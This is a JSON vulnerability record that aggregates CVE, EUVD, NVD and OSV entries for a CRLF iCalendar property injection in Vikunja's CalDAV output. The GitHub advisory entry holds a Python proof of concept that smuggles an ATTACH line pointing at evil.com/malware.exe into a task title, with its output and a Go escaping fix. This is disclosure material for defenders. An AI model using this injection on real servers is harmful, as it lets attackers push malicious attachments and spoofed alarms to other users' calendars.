{"id":"EUVD-2026-21428","revision":null,"records":[{"revision":"4b62779c23b5407baee3c06a731499ab","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-35601","aliases":[],"title":"Vikunja has an iCalendar Property Injection via CRLF in CalDAV Task Output","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T16:08:50.519+00:00","modifiedAt":"2026-04-13T15:37:03.974+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","score":4.1,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r","https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-35601","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-35601","identifiers":["CVE-2026-35601"]},"retained":false,"historicalAffected":[]},{"revision":"aca752248fe348148b7ed5c2e54902a8","observedAt":"2026-10-28T04:56:26.309+00:00","statement":{"source":"euvd","id":"EUVD-2026-21428","aliases":["CVE-2026-35601","GHSA-2g7h-7rqr-9p4r"],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titl…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","score":4.1,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r","https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21428","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 4:08:50 PM","dateUpdated":"Apr 13, 2026, 3:37:03 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21428","identifiers":["EUVD-2026-21428","CVE-2026-35601","GHSA-2g7h-7rqr-9p4r"]},"retained":false,"historicalAffected":[]},{"revision":"0331c181b1df419687e9f329a4cc21ba","observedAt":"2026-10-27T09:03:12.132+00:00","statement":{"source":"nvd","id":"CVE-2026-35601","aliases":[],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titl…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T17:17:03.837+00:00","modifiedAt":"2026-10-26T21:10:00.17+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","score":4.1,"severity":"MEDIUM"}],"references":["https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0","https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35601","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-93"],"productCriteria":["cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-10T17:17:03.837","lastModified":"2026-10-26T21:10:00.170"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-35601","identifiers":["CVE-2026-35601"]},"retained":false,"historicalAffected":[]},{"revision":"e911188fa7504def810385ef1afc2f9c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-2g7h-7rqr-9p4r","aliases":["CVE-2026-35601","GO-2026-4951"],"title":"Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output","description":"## Summary\n\nThe CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as `ATTACH`, `VALARM`, or `ORGANIZER`.\n\n## Details\n\nThe `ParseTodos` function at `pkg/caldav/caldav.go:146` concatenates the task summary directly into the iCalendar output:\n\n```go\nSUMMARY:` + t.Summary + getCaldavColor(t.Color)\n```\n\nRFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as `\\n`, semicolons as `\\;`, commas as `\\,`, and backslashes as `\\\\`. None of these escaping rules are applied to `Summary`, `Categories`, `UID`, project name, or alarm `Description` fields.\n\nGo's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the `SUMMARY` property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"CalDAV Test\"}).json()\n\n# create task with CRLF injection in title\ntask = requests.put(f\"{API}/projects/{proj['id']}/tasks\", headers=h, json={\n    \"title\": \"Meeting\\r\\nATTACH:https://evil.com/malware.exe\\r\\nX-INJECTED:pwned\"\n}).json()\n\n# set UID (normally done by CalDAV sync; here via sqlite for PoC)\n# sqlite3 vikunja.db \"UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};\"\nTASK_UID = \"inject-test-001\"\n\n# fetch via CalDAV\ncaldav_token = requests.put(f\"{API}/user/settings/token/caldav\", headers=h).json()[\"token\"]\nr = requests.get(f\"{TARGET}/dav/projects/{proj['id']}/{TASK_UID}.ics\",\n                 auth=HTTPBasicAuth(\"alice\", caldav_token))\nprint(r.text)\n```\n\nOutput:\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nBEGIN:VTODO\nUID:inject-test-001\nDTSTAMP:20260327T130452Z\nSUMMARY:Meeting\nATTACH:https://evil.com/malware.exe\nX-INJECTED:pwned\nCREATED:20260327T130452Z\nLAST-MODIFIED:20260327T130452Z\nEND:VTODO\nEND:VCALENDAR\n```\n\nThe `ATTACH` and `X-INJECTED` lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.\n\n## Impact\n\nAn authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables:\n- Injecting malicious attachment URLs (`ATTACH`) that clients may auto-download or display\n- Creating fake alarm notifications (`VALARM`) for social engineering\n- Spoofing organizer identity (`ORGANIZER`)\n\n## Recommended Fix\n\nApply RFC 5545 TEXT value escaping to all user-controlled fields:\n\n```go\nfunc escapeICal(s string) string {\n    s = strings.ReplaceAll(s, \"\\\\\", \"\\\\\\\\\")\n    s = strings.ReplaceAll(s, \";\", \"\\\\;\")\n    s = strings.ReplaceAll(s, \",\", \"\\\\,\")\n    s = strings.ReplaceAll(s, \"\\n\", \"\\\\n\")\n    s = strings.ReplaceAll(s, \"\\r\", \"\")\n    return s\n}\n```\n\nApply `escapeICal()` to `t.Summary`, `config.Name`, `t.Categories` items, `a.Description`, `t.UID`, and `r.UID`.\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:35:05+00:00","modifiedAt":"2026-06-08T20:08:35+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r","https://nvd.nist.gov/vuln/detail/CVE-2026-35601","https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-2g7h-7rqr-9p4r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-2g7h-7rqr-9p4r","identifiers":["GHSA-2g7h-7rqr-9p4r","CVE-2026-35601","GO-2026-4951"]},"retained":false,"historicalAffected":[]},{"revision":"b3f71bf34b694e18bd7c1b938fa11c84","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4951","aliases":["CVE-2026-35601","GHSA-2g7h-7rqr-9p4r"],"title":"Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output in code.vikunja.io/api","description":"Vikunja has iCalendar Property Injection via CRLF in CalDAV Task Output in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","state":0,"publishedAt":"2026-05-20T19:07:16+00:00","modifiedAt":"2026-05-20T19:30:11.5610709+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-2g7h-7rqr-9p4r","https://nvd.nist.gov/vuln/detail/CVE-2026-35601","https://github.com/go-vikunja/vikunja/pull/2580","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4951","license":"OSV · upstream source license applies","key":"osv:GO-2026-4951","identifiers":["GO-2026-4951","CVE-2026-35601","GHSA-2g7h-7rqr-9p4r"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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